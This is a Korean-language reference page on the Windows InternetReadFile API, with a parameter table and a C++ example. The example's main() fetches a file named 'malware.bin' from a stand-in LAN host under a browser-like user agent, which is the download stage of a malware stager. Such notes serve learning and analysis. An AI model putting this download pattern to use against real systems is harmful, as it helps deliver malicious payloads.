InternetReadFile
InternetReadFile 함수는 InternetOpenUrl와 같은 함수에서 획득한 핸들에서 데이터를 읽습니다.
BOOL InternetReadFile(
[in] HINTERNET hFile,
[out] LPVOID lpBuffer,
[in] DWORD dwNumberOfBytesToRead,
[out] LPDWORD lpdwNumberOfBytesRead
);인자
설명
보편적인 값
hFile
InternetOpenUrl이 반환한 URL 핸들
lpBuffer
읽은 데이터를 저장할 버퍼
buffer
dwNumberOfBytesToRead
한 번에 읽을 최대 바이트 수
sizeof(buffer) //보통 4096
lpdwNumberOfBytesRead
실제로 읽은 바이트 수
Example
#include <windows.h>
#include <wininet.h>
#include <iostream>
#pragma comment(lib, "wininet.lib")
using namespace std;
unsigned char* downloadBinary(const char* serverAddr, DWORD* outSize) {
// nullptr 예외처리
if (!outSize) {
wcout << L"outSize is null" << endl;
return nullptr;
}
*outSize = 0;
// 브라우저 핸들 생성
HINTERNET hInternet = InternetOpenA(
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0
);
// 브라우저 핸들 생성 실패 예외처리
if (!hInternet) {
wcout << L"Failed to get Internet handle" << endl;
return nullptr;
}
// 브라우저 url 접속 핸들 생성
HINTERNET hUrl = InternetOpenUrlA(
hInternet, serverAddr, NULL, 0,
INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0
);
// 브라우저 url 접속 핸들 생성 실패 예외처리
if (!hUrl) {
wcout << L"Failed to get InternetOpenUrl handle" << endl;
InternetCloseHandle(hInternet);
return nullptr;
}
// 다운로드 받을 버퍼, 읽은 바이트 변수 지정
DWORD bytesRead = 0;
BYTE buffer[4096];
string fullData;
// 읽을 수 있는 바이트가 0일 때까지 읽어서 fullData에 저장
while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
fullData.append((char*)buffer, bytesRead);
}
// 브라우저 핸들 종료
InternetCloseHandle(hUrl);
InternetCloseHandle(hInternet);
// 읽은 데이터가 빈값일 경우 예외 처리
if (fullData.empty()) {
return nullptr;
}
// 형변환을 위해 변수 이동
unsigned char* result = new unsigned char[fullData.size()];
memcpy(result, fullData.data(), fullData.size());
*outSize = fullData.size();
return result;
}
int main() {
DWORD dataSize = 0;
unsigned char* data = downloadBinary("http://192.168.0.102/malware.bin", &dataSize);
if (data == nullptr) {
cout << "Failed to get a binary" << endl;
return 0;
}
delete[] data;
return 0;
}References
Last updated